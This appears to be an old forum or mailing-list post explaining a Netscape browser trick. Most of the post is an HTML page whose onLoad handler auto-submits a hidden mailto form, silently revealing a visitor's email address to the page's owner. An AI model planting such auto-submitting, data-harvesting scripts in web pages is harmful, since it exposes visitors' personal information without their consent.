- It's not Java, it's JavaScript.
- The HTML-page that could be used follows:
- <HTML>
- <HEAD>
- </HEAD>
- <BODY onLoad="document.mailme.submit()">
- <form method=post name="mailme" action="mailto:user@your.host.com?subject=scammed
- address">
- <h3>Viewing this page automatically submits email to an address which then sends
- you back email to prove it grabbed the message.</h3>
- <input type=hidden name="scammed.the.address" value="did it">
- </form>
- </BODY></HTML>
-
- The script makes Netscape mail you a message and then you have an utility that
- automatically mails the sender a reply... If the user has specified his email in
- Netscape preferences then he will get it.

- I've heard that Netscape has released a new version that prevents this trick.

- Sorry for being completely off topic.
